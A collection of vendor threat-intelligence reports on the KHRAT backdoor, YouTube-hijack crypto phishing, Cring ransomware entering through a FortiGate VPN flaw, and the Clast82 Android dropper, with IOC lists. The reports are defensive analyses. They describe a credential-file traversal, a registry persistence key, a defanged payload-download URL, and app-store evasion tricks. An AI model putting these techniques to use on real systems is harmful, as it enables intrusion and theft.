The Splunk Threat Research Team is an active part of a customer’s overall defense strategy by enhancing Splunk security offerings with verified research and security content such as use cases, detection searches, and playbooks. We help security teams around the globe strengthen operations by providing tactical guidance and insights to detect, investigate, and respond against the latest threats. The Splunk Threat Research Team focuses on understanding how threats, actors, and vulnerabilities work, and the team replicates attacks which are stored as datasets in the Attack Data repository. Our goal is to provide security teams with research they can leverage in their day-to-day operations and to become the industry standard for SIEM detections. We are a team of industry-recognized experts who are encouraged to improve the security industry by sharing our work with the community via conference talks, open-sourcing projects, and writing white papers or blogs. You will also find us presenting our research at conferences such as Defcon, Blackhat, RSA, and many more. |
# Trojanized Adobe Installer Used to Install DragonOK’s New Custom Backdoor
Since January of this year, Forcepoint Security Labs™ have observed that the DragonOK campaign has started to target political parties in Cambodia. DragonOK is an active targeted attack that was first discovered in 2014. It is known to target organizations from Taiwan, Japan, Tibet, and Russia with spear-phishing emails containing malicious attachments.
The latest dropper they used is disguised as an Adobe Reader installer and installs yet another new custom remote access tool (RAT). We have named this RAT “KHRAT” based on one of the command and control servers used, kh[.]inter-ctrip[.]com, which pertained to Cambodia’s country code.
## Dropper
The trojanized installer is a RAR SFX file that has the filename “reader112_en_ha_install.exe”. It contains both a legitimate Adobe Reader installer and a malicious VBScript file. As a result, when the malware is executed, the user is presented with the legitimate Adobe installer prompt while the malicious VBScript executes in the background. Below is a code snippet of the VBScript:
Upon deobfuscating the script, the following code is revealed which installs a portable executable (PE) file embedded in the script. As can be seen above, the PE file is dropped as `%USERPROFILE%\USER.DAT` and is executed with a parameter "K1". This PE file is KHRAT, which will be discussed in the next section.
## KHRAT
KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function. Otherwise, it creates the following registry as a persistence mechanism and then calls the function K3:
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Run = ""%USERPROFILE%\SysWOW64.com" %USERPROFILE%\USER.DAT,K1"
```
K3 then elevates the malware’s privilege by giving itself SE_DEBUG_PRIVILEGE privileges via a RtlAdjustPrivileges call and proceeds to communicate to its command and control (C2) server. The malware initially registers itself to the C2 server by sending the infected machine’s username, system language, and local IP address.
All communication to and from the C2 server are encrypted in byte-wise XOR. Below is a code snippet showing this routine prior to sending data to the malware C2:
KHRAT is capable of executing the following backdoor commands:
- Provide access to the file system
- Log keystrokes
- Capture screenshots
- Enumerate processes
- Open a remote DOS command access
Furthermore, the following table provides a timeline of KHRAT's appearances, with one appearing earlier this month:
| Compilation SHA-256 | Timestamp |
|----------------------|-----------|
| 17a07b1f5e573899c846edba801f1606ce8f77c2f52e3298d2d2b066730b0bf0 | 05/01/2017 05:37 |
| a5a9598e1d33331f5aeabb277122549d4a7cf1ddbfa00d50e272b57934a6696f | 05/01/2017 05:37 |
| 540d6dd720514cf01a02b516a85d8f761d77fa90f0d05f06bfb90ed66beb235b | 16/02/2017 03:53 |
| ffc0ebad7c1888cc4a3f5cd86a5942014b9e15a833e575614cd01a0bb6f5de2e | 08/03/2017 01:43 |
## Protection Statement
Forcepoint customers are protected against this threat via TRITON® ACE at the following stages of attack:
- Stage 5 (Dropper File) - Related malware components are prevented from being downloaded and/or executed.
- Stage 6 (Call Home) - Connections to the KHRAT command and control servers are blocked.
## Conclusion
KHRAT’s code is reminiscent of the backdoors used in HeartBeat and Bioazih campaigns where the coding style is straightforward and the malware itself provides basic backdoor functionalities to the attackers. This leads us to believe that KHRAT is simply a rehash of codes that are available on Chinese code sharing sites. Nonetheless, this would seem enough for the attackers in this case as KHRAT variants currently have a low detection rate.
We have listed below the related IOCs to help augment industry coverage for this new threat.
## Indicators of Compromise
**Files**
- bba604effa42399ed6e91c271b78b442d01d36d1570a9574acacfc870e09dce2 (“reader112_en_ha_install.exe”, dropper)
- ffc0ebad7c1888cc4a3f5cd86a5942014b9e15a833e575614cd01a0bb6f5de2e (“USER.DAT”, KHRAT)
- 9cdebd98b7889d9a57e5b7ea584d7e03d8ba67c02519b587373204cae0603df0 (RTF dropper with CVE-2015-1641 exploit, unknown filename)
- d9ce24d627edb170145fb78e6acb5ea3cb44a87cd06c05842d78f4fc9b732ec5 (“KFC.exe”, KHRAT loader)
- a5a9598e1d33331f5aeabb277122549d4a7cf1ddbfa00d50e272b57934a6696f (“MSKV.DAT”, KHRAT)
- a6e22dfe21993678c6f1b0892c2db085bb8c4342bdf78628456f562d5db1181b (“The plan CPP split CNRP!.doc.exe”, dropper)
- 77354141d22998d7166fd80a12d9b913199137b4725495bd9168beb5365f69e7 (“KFC.com”, KHRAT loader)
- 540d6dd720514cf01a02b516a85d8f761d77fa90f0d05f06bfb90ed66beb235b (“MSKV.DAT”, KHRAT)
- 17a07b1f5e573899c846edba801f1606ce8f77c2f52e3298d2d2b066730b0bf0 (“MSKV.DAT”, KHRAT)
**KHRAT C2s**
- cookie[.]inter-ctrip[.]com
- help[.]inter-ctrip[.]com
- bit[.]inter-ctrip[.]com
- kh[.]inter-ctrip[.]com
## Über Forcepoint
Forcepoint ist einer der weltweit führenden Anbieter von Cyber-Sicherheit im Bereich Anwender- und Datensicherheit und hat es sich zur Aufgabe gemacht, Organisationen zu schützen und gleichzeitig die digitale Transformation und das Wachstum voranzutreiben. Unsere Lösungen passen sich in Echtzeit an das Nutzerverhalten an und ermöglichen Mitarbeitern einen sicheren Datenzugriff bei voller Produktivität. |
# Research, News, and Perspectives
## Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
*Latest News May 25, 2022*
## S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
*Security Strategies May 12, 2022*
## Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
*Security Strategies May 10, 2022*
## Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
*Research May 19, 2022*
## New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
*April 27, 2022*
## Why Trend Micro is Evolving Its Approach to Enterprise Protection
*Security Strategies May 17, 2022*
## New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
*Research May 25, 2022*
## Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
*Research May 16, 2022*
## Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
*Research May 18, 2022*
## The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
*May 24, 2022*
## Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
*Research May 09, 2022* |
# Detailed Analysis of Cryptocurrency Phishing Through Famous YouTube Channel Hacking
**S2W**
**March 24, 2023**
**Author: HOTSAUCE | S2W TALON**
**Last Modified: Mar 20, 2023**
## Executive Summary
최근 정부 기관의 공식 유튜브 채널을 비롯한 게임 유튜버, 성우 유튜버 등 구독자 수가 많은 유튜버들을 대상으로 피싱 메일을 발송하여 계정을 해킹하는 사례가 늘어나고 있음. 해킹된 유튜브 채널들은 일론 머스크 라이브 스트리밍을 통해 비트코인/이더리움 등 암호화폐를 자신의 주소로 전송하면 두 배로 돌려준다는 피싱 페이지로 접속을 유도하고 있음. 일론 머스크, 트럼프 등 유명인사를 사칭하여 암호화폐 피싱 페이지로 접속을 유도하는 케이스는 2020년부터 존재했으며, 최근에는 유튜브 시청자가 많아지면서 더욱 많은 피해자들에게 접속을 유도하기 위해 유튜브 채널 해킹을 통한 홍보 방법을 사용하고 있음. 암호화폐 피싱 사이트에서 참여자들의 입금 내역이라며 실시간으로 업데이트되는 트랜잭션들은 랜덤 문자열을 생성하여 HTML에 렌더링하는 형태로 구현되어 있으며, 실제로는 존재하지 않는 가짜 트랜잭션 및 암호화폐 주소로 확인됨. 최근 발생한 인피쉰 유튜브 해킹 사건을 기준으로 피싱 사이트 분석과 암호화폐 추적을 진행함. 피싱 사이트는 최소 69개 이상 운영되고 있음. 피해자들이 입금한 자금은 암호화폐를 사용하여 결제하는 카지노 사이트 stake.com과 FixedFloat 거래소로 전송된 내역이 확인됨.
## Detailed Analysis
### 1. 유튜버 계정 해킹을 통한 암호화폐 피싱 사이트 홍보
최근 스타크래프트 게임 유튜버, 성우 유튜버 등 구독자 수가 많은 유튜버 계정을 탈취한 뒤 일론 머스크가 출연하는 비트코인 홍보 영상을 송출하고 있음. 유튜브 계정을 해킹 후 암호화폐 피싱 사이트 홍보에 사용한 건 2019년부터 식별되기 시작했으며 국내뿐만 아니라 해외에서도 빈번히 일어나고 있음. 특히, 사망한 뒤 관리되고 있지 않던 유튜브 계정도 탈취된 사례가 존재하여 이슈가 됨. 피싱 사이트를 홍보하는 근본적인 목적은 암호화폐 편취이며 일론 머스크, 도널드 트럼프 등과 같은 많은 재력을 보유한 유명인이 이벤트를 하는 것처럼 속임. 사기 과정에서 유튜브 로고, 유튜브 채널명을 변경한 뒤 실시간 라이브 영상을 틀어 유튜브 메인 화면에 노출시켜 시청을 유도하고 있으며, 도메인은 일론 머스크, 트위터, 아크인베스트 등 유명인이나 기업 이름을 Typosquatting하여 사용하고 있음.
### 2. 피싱 사이트 분석
#### 2.1. teslafuture[.]io 송금 유도 방식
피싱 사이트는 실시간으로 참여자들이 입금한 금액에 따라 2배의 금액을 돌려주는 것처럼 트랜잭션이 계속해서 업데이트되고 있음. 해당 사이트를 통해 피해자가 giveaway 주소에 돈을 전송하도록 유도하고 있음.
#### 2.2. 입금 내역 조회 및 실시간 트랜잭션 현황
암호화폐 피싱 사이트에서 참여자들의 입금 내역을 조회할 수 있음. 실시간으로 업데이트되는 트랜잭션들은 랜덤 문자열을 생성하여 HTML에 렌더링하는 형태로 구현되어 있음. 트랜잭션 확인 결과, 실제로 존재하지 않는 가짜 트랜잭션 및 암호화폐 주소로 확인됨. 해당 테이블은 마치 실시간으로 업데이트 되는 것처럼 보이나 화면에 표시되는 내용은 피싱 사이트에 포함된 자바스크립트에 의해 임의의 문자열 조합으로 랜덤하게 생성되고 있는 의미없는 문자열 조합으로 확인됨.
### 3. 유튜브 계정 탈취 수법
유튜브 계정 탈취를 위해 공격자들은 유튜버들을 대상으로 실제 업무 관련 메일과 매우 흡사한 형태의 피싱 메일을 발송하거나, 스틸러 악성코드를 활용하는 등의 방법을 사용하고 있음.
#### 3.1. 인포스틸러 악성코드 활용
스틸러에 감염되어 유출된 계정들 중 유튜브 채널과 구독자를 보유한 Google(YouTube) 계정만 별도로 구매/판매함.
#### 3.2. 유튜브 채널 구매
많은 사람들이 피싱 페이지로 접속하도록 유도하기 위해 구독자 수가 많은 유튜브 채널을 구매함.
### 4. 암호화폐 주소 분석
teslafuture[.]io 피싱 사이트를 피봇팅한 결과 동일한 형태의 피싱 사이트 75곳이 확인됨. 해당 사이트들에서 공통적으로 사용된 입금 주소는 다음과 같음. 피싱 주소에 입금된 피해자들의 금액은 암호화폐를 사용하여 결제하는 카지노 사이트 stake.com과 FixedFloat 거래소로 전송된 내역이 확인됨. 암호화폐 피싱에 사용된 Bitcoin, ETH(USDT), DOGE 주소에 입금된 피해금액은 현재 시세 기준으로 확인됨.
## Conclusion
공격자들은 더욱 많은 사람들이 피싱 사이트에 접속하도록 유도하기 위해 유명 유튜버 및 정부 기관의 유튜브 채널 등을 해킹하는 방법을 사용하고 있음. 코인을 무료로 나눠 준다며 입금을 요구하는 행위는 99.9% 사기 행위라고 봐도 무방하며 최근 유행하고 있는 일론 머스크 사칭 유튜브 채널, 피싱 도메인 등에 접속에 주의가 필요함. |
# Vulnerability in FortiGate VPN Servers Exploited in Cring Ransomware Attacks
**Vyacheslav Kopeytsev**
**07.04.2021 Version 1.2**
In Q1 2021, threat actors conducted a series of attacks using the Cring ransomware. These attacks were mentioned in a Swisscom CSIRT tweet, but it remained unclear how the ransomware infects an organization’s network. An incident investigation conducted by Kaspersky ICS CERT experts at one of the attacked enterprises revealed that attacks of the Cring ransomware exploit a vulnerability in FortiGate VPN servers. Victims of these attacks include industrial enterprises in European countries. At least in one case, an attack of the ransomware resulted in a temporary shutdown of the industrial process due to servers used to control the industrial process becoming encrypted.
It is worth noting that Fortinet has on several occasions warned users of its devices of the danger posed by the vulnerability and a high risk of attacks, including attacks by APT groups.
## Initial Attack Vector
The attackers exploited the CVE-2018-13379 vulnerability in FortiGate VPN servers to gain access to the enterprise’s network. Unpatched FortiGate devices are vulnerable to a directory traversal attack, which allows an attacker to access system files on the FortiGate SSL VPN appliance. Specifically, an unauthenticated attacker can connect to the appliance through the internet and remotely access the file "sslvpn_websession", which contains the username and password used to access VPN, stored in cleartext. The vulnerability affects devices that run FortiOS versions 6.0.0 to 6.0.4, 5.6.3 to 5.6.7, and 5.4.6 to 5.4.12. Several days before the start of the main attack phase, the attackers performed test connections to the VPN Gateway, apparently in order to check that the authentication credentials stolen in an attack on the VPN server could still be used. The attackers may have identified the vulnerable device themselves by scanning IP addresses. Alternatively, they may have bought a ready-made list containing IP addresses of vulnerable FortiGate VPN Gateway devices. In autumn 2020, an offer to buy a database of such devices appeared on a dark web forum.
## Lateral Movement
After gaining access to the first system on the enterprise network, the attackers downloaded the Mimikatz utility to that system. The utility was used to steal the account credentials of Windows users who had previously logged in to the compromised system. With the help of the Mimikatz utility, the attackers were able to compromise the domain administrator account, after which they started distributing malware to other systems on the organization’s network. They used the Cobalt Strike framework for that purpose. The Cobalt Strike module was loaded on attacked systems using PowerShell. After launching, the malicious PowerShell script decrypted the payload – the Cobalt Strike Beacon backdoor, which provided the attackers with remote control of the infected system. The IP address 198.12.112[.]204 was specified as the Cobalt Strike Beacon command-and-control server.
## Encryption
After gaining control of the infected system, the attackers downloaded a cmd script to the machine. The script was designed to download and launch the malware – the Cring ransomware. The script was saved to the following path: %TEMP%\execute.bat (e.g., C:\Windows\Temp\execute.bat). After being installed on the system, the cmd script named execute.bat was executed. The script launched PowerShell under the name “kaspersky”. The attackers used this technique to mask the traces of the malware activity and disguise the operation of the malware as that of security solutions. A command to download a file from the internet was passed to the running PowerShell shell. The file’s URL was http://45.67.231[.]128/ip.txt. The downloaded file was saved as C:\__output. Although the file specified in the URL had the extension .txt, it was in fact the executable file of the malware – the Cring ransomware. At the time of analyzing the malware hosting server, the file ip.txt had already been removed, but the attackers had uploaded a newer version of the Cring malware (the file NoNet.txt) to the server.
To be able to encrypt database files and remove backup copies, the Cring malware stopped the services of the following programs:
- Veritas NetBackup: BMR Boot Service, NetBackup BMR MTFTP Service
- Microsoft SQL server: SQLTELEMETRY, SQLTELEMETRY$ECWDB2, SQLWriter
The SstpSvc service, which is used to create VPN connections, was also stopped. It is most likely that the attackers, who at this stage controlled the infected system via Cobalt Strike, did this to make it impossible to connect to the infected system remotely via VPN. This was done to prevent system administrators from providing a timely response to the information security incident. Additionally, the malware terminated the following applications’ processes in order to encrypt files without hindrance:
- Microsoft Office: mspub.exe
- Oracle Database software: mydesktopqos.exe, mydesktopservice.exe
The malware removed backup files that had the following extensions: .VHD, .bac, .bak, .wbcat, .bkf, .set, .win, and .dsk. It also removed files and folders located in the root folder of the drive if their names started with the word “Backup” or “backup”. To perform these operations, the malware created a cmd script named kill.bat on the drive, which deleted itself after execution.
Next, the malware started to encrypt files using strong encryption algorithms, which means that files could not be decrypted without knowing the RSA private key held by the attackers. Each file was encrypted using AES and the AES encryption key was in turn encrypted using an RSA public key hard-coded into the malicious program’s executable file. The RSA key size was 8,192 bits. Files with the following extensions were encrypted:
- .vhdx (Virtual Hard Disk)
- .ndf (Microsoft SQL Server secondary database)
- .wk (Lotus 1-2-3 spreadsheet)
- .xlsx (Microsoft Excel spreadsheet)
- .txt (text document)
- .doc (Microsoft Word document)
- .docx (Microsoft Word document)
- .xls (Microsoft Excel spreadsheet)
- .mdb (Microsoft Access database)
- .mdf (disk image)
- .sql (saved SQL query)
- .bak (backup file)
- .ora (Oracle database)
- .pdf (PDF document)
- .ppt (Microsoft PowerPoint presentation)
- .pptx (Microsoft PowerPoint presentation)
- .dbf (dBASE database management file)
- .zip (archive)
- .rar (archive)
- .aspx (ASP.NET webpage)
- .php (PHP webpage)
- .jsp (Java webpage)
- .bkf (backup created by Microsoft Windows Backup Utility)
- .csv (Microsoft Excel spreadsheet)
Upon completing file encryption, the malware dropped the following ransom note: The ransom note was saved in the file !!!!WrReadMe!!!.rtf.
## Reconnaissance
Various details of the attack indicate that the attackers had carefully analyzed the infrastructure of the attacked organization and prepared their own infrastructure and toolset based on the information collected at the reconnaissance stage. For example, the malware hosting server (45.67.231[.]128) from which the Cring ransomware was downloaded had filtration by IP address enabled and only responded to requests from several European countries. The attackers’ cmd scripts disguised the activity of the malware as the operation of the antivirus solution (Kaspersky) used by the enterprise and terminated the processes of database servers (Microsoft SQL Server) and backup systems (Veeam) that were used on systems selected for encryption. An analysis of the attackers’ activity demonstrates that, based on the results of reconnaissance performed on the attacked organization’s network, they chose to encrypt those servers the loss of which the attackers believed would cause the greatest damage to the enterprise’s operations.
## Causes of the Incident
It is worth highlighting a number of reasons that contributed to the information security incident investigated by the Kaspersky ICS CERT team or directly led to it.
1. The primary causes of the incident include the use of an outdated and vulnerable firmware version on the FortiGate VPN server (version 6.0.2 was used at the time of the attack), which enabled the attackers to exploit the CVE-2018-13379 vulnerability and gain access to the enterprise network.
2. The lack of timely antivirus database updates for the security solution used on attacked systems also played a key role, preventing the solution from detecting and blocking the threat. It should also be noted that some components of the antivirus solution were disabled, further reducing the quality of protection.
3. Other factors contributing to the incident’s development included the user account privilege settings configured in domain policies and the parameters of RDP access. There were no restrictions on access to different systems. In other words, all users were allowed to access all systems. Such settings help attackers to distribute malware on the enterprise network much more quickly, since successfully compromising just one user account provides them with access to numerous systems.
## Recommendations
1. Keep the VPN Gateway firmware and endpoint security solutions updated to the latest versions.
2. Keep antimalware databases updated to the latest versions.
3. Check that all components of endpoint security solutions are enabled.
4. Make sure that the Active Directory policy allows users to log in only to those systems which are required by their operational needs.
5. Restrict network connections, specifically VPN connections, between hosts on the industrial network, block connections on all ports that are not required by the industrial process.
6. Configure the backup system to store backup copies on a dedicated server.
7. To further enhance your organization’s resilience to possible ransomware attacks, consider implementing Endpoint Detection and Response type security solutions both on your IT and OT networks.
8. Adapting Managed Detection and Response services to get immediate access to high-level security professionals’ knowledge and expertise may also be a good idea.
9. Use dedicated protection for the industrial process. Kaspersky Industrial CyberSecurity protects industrial endpoints and enables OT network monitoring to identify and block malicious activity.
## Indicators of Compromise (IOC)
**File path**
- %temp%\execute.bat (downloader script)
- C:\__output (Cring executable)
**MD5**
- c5d712f82d5d37bb284acd4468ab3533 (Cring executable)
- 317098d8e21fa4e52c1162fb24ba10ae (Cring executable)
- 44d5c28b36807c69104969f5fed6f63f (downloader script)
**IP addresses**
- 129.227.156[.]216 (used by the threat actor during the attack)
- 129.227.156[.]214 (used by the threat actor during the attack)
- 198.12.112[.]204 (Cobalt Strike CnC)
- 45.67.231[.]128 (malware hosting)
Kaspersky Industrial Control Systems Cyber Emergency Response Team (Kaspersky ICS CERT) is a global project of Kaspersky aimed at coordinating the efforts of automation system vendors, industrial facility owners and operators, and IT security researchers to protect industrial enterprises from cyberattacks. Kaspersky ICS CERT devotes its efforts primarily to identifying potential and existing threats that target industrial automation systems and the industrial internet of things.
**Contact:** [email protected] |
# Clast82 – A new Dropper on Google Play Dropping the AlienBot Banker and MRAT
Research by: Aviran Hazum, Bohdan Melnykov, Israel Wernik
Check Point Research (CPR) recently discovered a new Dropper spreading via the official Google Play store, which downloads and installs the AlienBot Banker and MRAT. This Dropper, dubbed Clast82, utilizes a series of techniques to avoid detection by Google Play Protect, completes the evaluation period successfully, and changes the payload dropped from a non-malicious payload to the AlienBot Banker and MRAT.
The AlienBot malware family is a Malware-as-a-Service (MaaS) for Android devices that allows a remote attacker to inject malicious code into legitimate financial applications. The attacker obtains access to victims’ accounts and eventually completely controls their device. Upon taking control of a device, the attacker can control certain functions as if they were holding the device physically, such as installing a new application or even controlling it with TeamViewer.
## General
This malware, dubbed CLAST82, used a series of techniques to avoid detection by Google Play Protect:
- Using Firebase as a platform for C&C communication
- Using GitHub as a 3rd party hosting platform to download the payload
During the Clast82 evaluation period on Google Play, the configuration sent from the Firebase C&C contains an “enable” parameter. Based on the parameter’s value, the malware will “decide” to trigger the malicious behavior or not. This parameter is set to “false” and will only change to “true” after Google has published the Clast82 malware on Google Play.
The malware’s ability to remain undetected demonstrates the importance of why a mobile security solution is needed. It’s not enough to scan the app during the evaluation period, as a malicious actor can, and will, change the application's behavior while using 3rd party tools. A solution that monitors the device itself, constantly scanning network connections and behaviors by applications, will be able to detect such behavior. Furthermore, the payload dropped by Clast82 does not originate from Google Play, thus the scanning of applications before submission to review will not prevent the installation of the malicious payload.
## The Campaign
During our investigation of the Clast82 Dropper, we uncovered the infrastructure used by the actor for distributing and maintaining the campaign. For each application, the actor created a new developer user for the Google Play store, along with a repository on the actor’s GitHub account, thus allowing the actor to distribute different payloads to devices that were infected by each malicious application.
While looking into the fake developer accounts on Google Play belonging to the actor, we came across another commonality – the Developer email for all apps is the same email ‘[email protected]’, and the links to each application for the Privacy Policy page link to the same repository, also belonging to the same actor.
## Technical Analysis – Clast82
The actor used legitimate and known open-source Android applications, which the actor added malicious code into to provide functionality to the malicious dropper, along with the reason for the victim to download and install it from the official Google Play store. For instance, the malicious CakeVPN application is based on this GitHub repository.
On every application launch, it starts a service from MainActivity that starts a dropping flow called LoaderService. In addition, the MainActivity starts a foreground service to perform the malicious dropping task. To comply with the Android restrictions, when an application creates a foreground service, it must also show an ongoing notification to the user. Clast82 bypassed this by showing a “neutral” notification. In the case of the patient-zero, the CakeVPN app, the notification shown is “GooglePlayServices” with no additional text.
The foreground service registers a listener for the Firebase real-time database, from which it receives the payload path from GitHub. After receiving the command from the Firebase C&C, the dropping flow starts with the ‘loadAndInstallApp’ function, which downloads the payload from GitHub and calls the ‘installApp’ method to finalize the malicious activity.
If the infected device prevents installations of applications from unknown sources, Clast82 prompts the user with a fake request, pretending to be ‘Google Play Services’ requesting the user to allow the installation every 5 seconds. After the malicious payload is successfully installed, the dropper app launches the payload downloaded. In the case of Clast82, we were able to identify over 100 unique payloads of the AlienBot, an Android MaaS Banker targeting financial applications and attempting to steal the credentials and 2FA codes for those applications.
## Timeline
- January 27th – Initial discovery
- January 28th – Report to Google
- February 9th – Google confirmed that all Clast82 apps were removed from the Google Play Store.
## How to protect yourself
Harmony Mobile (formerly known as SandBlast Mobile) delivers complete protection for the mobile workforce by providing a wide range of capabilities that are simple to deploy, manage, and scale. Harmony Mobile provides protection for all mobile vectors of attack, including the download of malicious applications and applications with malware embedded in them.
## Appendix 1 – IOCs
**C&C Servers:**
- boloklava87[.]club
- enegal-23[.]net
- balabanga90[.]online
- dsfikj2dsfmolds[.]top
- blakarda[.]site
- sponkisn[.]site
**Droppers:**
| Name | SHA256 | Package Name | Firebase Account |
|---------------|------------------------------------------------------------------------|--------------------------------------|------------------------------------------------------|
| Cake VPN | 52adb34cc01aa8d034d71672f3efe02c8617641ee77bf6c5eb6806e834550934 | com.lazycoder.cakevpns | https://cake-vpn-811be-de.rtdb.firebaseio[.]com |
| Pacific VPN | bb49fc80393647d379a8adc8d9dec2f9a21e86620ee950f94cdc341345df459c | com.protectvpn.freeapp | https://pacificvpn.firebasei |
| eVPN | 232d3a2a172db5d0e02570a8ddbb8377dc5b8507aab85a51faf00631b51b7def | com.abcd.evpnfree | https://evpn-e7e0d.firebaseio[.]com |
| BeatPlayer | 609350daaadee74e6526dee7f533affdbf289f076837a2400017a928531c3da1 | com.crrl.beatplayers | https://beat-player-763d3-d.rtdb.firebaseio[.]com |
| QR/Barcode Scanner MAX | 82ea6fc0f57ae82cf7c51a039b6dee7b81b4ece0579a784ee35f02e71b833f3e | com.bezrukd.qrcodebarcode | https://qrscanner-aa57d.firebaseio[.]com |
| Music Player | 6f6c16481c0f3a4bd3afcaa9aa881e569c65e067c09efd4ac4828ead29242c95 | com.revosleap.samplemusicplayers | https://sample-music-player-default-rtdb.firebaseio[.]com |
| tooltipnatorlibrary | bbe2e4a68eb2a2589b6b7ba9afefd241f8eb6d8db6fa19fdd4d383311a019567 | com.mistergrizzlys.docscanpro | https://docscan-3f3c1-default-rtdb.firebaseio[.]com |
| QRecorder | 4d4f8acda2e9b430d5f3a175dbeee9dfcd07a9f26332b1a0b9e94166b1bc077f | com.record.callvoicerecorder | https://qrecordernew-default-rtdb.firebaseio[.]com |
**AlienBot Payloads:**
- 231b5337e561e197775c7250ed3f82bcc0bbdde059ffff1012c672cd7126c13d
- e0ac33e9c0bd5a33959faf3eb40ca95b7a5c8bd6b6eb5a916085a05366643089
- 08334829f9c1b7db50acc38129ce2e001c928772a996663a875e27bd7a0d54e2
- 277dc754cf28a3f0c4a734e84ccdd0fe2b149ff030eaf5c714e8915e95b436d0
- 51a715475e58ba225c9d031c282f1394531e7e71ab1006e03e303db2afadfdd6
- 74f0794705b069e75bdc9bbc40b46fea6fefc5a493c36a433eea09971d207f3c
- 92524a2a0832196524b3daa55726f3c1b62d09cf7997c470405ac138a329ec80
- 3c1c2ccd34abc145cc6a3d1eb789c499eea530962609acab62c5e6ab3607da66
- 549a1a1dbb8ca26c38a4e02402cdca272d0af70a8708d50cdc82ade501b5d696
- 388b525689700638568d3e0f62512dd9293a37253cac8d836a7d1edb3c2bb881
- 57377c13a08bd0c4376c93fe6f70e9e1779e9801bb22ef85b9f8c31a96a905ee
- cff15bc6a6012dbed17754d8fa1f50debe52f28e03aa3a0abbdd6674e7752e5c
- f87469076b856543c22a3e7e1a617e7741208be251cf5d7a5cf0dddc97a86547
- 8c0a2a34fb7753a3b1c86451cbc9c8c8205164e5942f8068b3edc3f22b13a27a
- fea918c0f673a1c11d52c7d30c5e858f8521b0ea1827eba1801d6aec93300db0
- 7aaf4937c9694708b442a2054ef6118db37b857ee0b4d70255dec1012e14e3ea
- 7a44ead8a55a43c91cb1fc0e21fbf7e3ea58a135d438f37a14065c5f850ad996
- 9981581da2d34f8101d937ab61d7bf8ec4c441d39487135100b8b5228687c36a
- dc49b51d2eaacfd1568e0385eca386ce849d72533dfcf449f04510d2558bbbed
- d5a6ae36bf90f00dd99354b1392a56433d3532b47e18a596683d4ae6c77d5a9f
- ef5316fc8dee0cea24cff320926943ab24a410651053c54b792ad1d20db6d800
- 5810af063e1d6c40c96dbc59ba9f702bda2aa6b4c337a8b2ad983314575fc491
- d6060046f98abd5ab0a89c64aca36a26926d220acd4658eb0c59b736b357c819
- 0556762d4e843e298b63057cc28ad0c7be0721505502587303c674550473bd50
- ef2e757973e6e532ec5c3fdca4e40cf554ac0dd4f2e0d2d12f95302dc692cf99
- c0b1f73f18a45e34fac15c30de6d879a35bf6db4281278c509a9b7a2b7b37bbc
- 7c21bccbc9a2eef6ffcabbe6c66217ad2793aca4a75a94d4a6bc8dc08065c709
- 86b69db3571435a98e8bb94f8fe247c95ecf9e4cb18c9c702f0d3dcd91bb6634
- 94c5ecf16bbf1cba3fe536e287803d345a056fd96c3e3a997aaf5859c274ee45
- 40bd8ad79baff01a7e3729b586413dd73f4fba9f221716c3e934c87a15b719bc
- b47ff621c17083cd3ae046763a70e826afebddd50196be0a55feef8838ba634e
- d1a6a78f9886503c963bacbfcf5143b9be82ca4b2bb03ab18fe236706df0b874
- 9a6f195746a3e082efdca489339595f9669f04abd2b640f8bc7ec12ac9c3dd8d
- f95d590c83a4b43a88150b2cf31175912501d429814e7e79da26d84077c63f31
- 45ee0e98316dc30e5137990e7831fdc6d49e74aa2f699bd3c2aa6af0ed42ed00
- d1dd759e210e08d10679cd794df94d3ce6b87c5312441a8ee622b69b315f6d03
- 17d0776953069a5aea979940786be357493ca77a7a65a5c91fa4c5e6b3f55443
- 9d8ef3972db34a4179c3d869425b7a83e1e2c12a7ddca9ea574abbfefdbaca91
- b04f1e29d8c41111a7af7b51349ceadd8f6cb8e94ab58c28a89a3e8d0c2644a0
- 618c4b5ad167a03421ec8cc458d1c7470f2df0968a470cfab3e66af8f21ed13a
- a74495ee11ecdcb27ed49f7110febb76d13214281e0bfe0e93955dba096542b2
- 0159eb849334758ca1994368c5770b7bcd49058b2ea069702757ef5302865836
- 623f020d836556ac697af979d07cc009746e59c6b458298fc3cd7eca62b3fef9
- 5b35d8b56aa0f7fa4f8bf6711044dfc18f54fb498bcc0a3d42cc8b15bb0103f0
- daf047c85ebc7caf006126e1a177e404298b58ca18d9220dc534f5fb88a0e91f
- b7a5db0926a8f5a9de13a14f8245041b7c30bc66d075b2ba2869a76fd6dbb244
- 55c0b443858cedebf87316b45618e1dc3ef3ad4ace873718aac692b9f28fbeb7
- 7296cee58dc8b31af03c9efa14b4160dd4c4e9054b2dc1310f2ff1b6fa94cd27
- 9d42d35f68ababe30ef222c379ac3dddf4a024708e5976a1e347a76a67642b9f
